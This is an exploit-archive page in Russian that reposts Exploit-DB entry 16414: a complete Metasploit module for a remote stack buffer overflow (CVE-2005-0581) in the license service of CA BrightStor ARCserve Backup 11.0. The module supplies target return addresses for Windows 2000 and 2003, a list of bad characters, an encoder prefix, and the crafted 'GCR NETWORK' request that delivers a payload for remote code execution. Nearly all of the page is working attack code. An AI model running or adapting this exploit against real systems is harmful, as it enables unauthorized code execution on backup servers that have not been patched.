- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 16414
- Проверка EDB
- 
	
		
			- Пройдено
 
- Автор
- METASPLOIT
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- cve-2005-0581
- Дата публикации
- 2010-11-03
		Код:
	
	##
# $Id: license_gcr.rb 10892 2010-11-03 22:09:44Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Remote::Tcp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
				By sending a specially crafted request to the lic98rmtd.exe service, an attacker
				could overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10892 $',
			'References'     =>
				[
					[ 'CVE', '2005-0581' ],
					[ 'OSVDB', '14389' ],
					[ 'BID', '12705' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
				},
			'Platform' => 'win',
			'Targets'  =>
					[
						[ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
						[ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
					],
			'DisclosureDate' => 'Mar 2 2005',
			'DefaultTarget' => 0))
		register_options([ Opt::RPORT(10202) ], self.class)
	end
	def exploit
		connect
		buff =  rand_text_alpha_upper(256) + [target.ret].pack('V')
		buff << make_nops(12) + payload.encoded
		# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
		sploit  = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		handler
		disconnect
	end
end- Источник
- www.exploit-db.com
 
 
		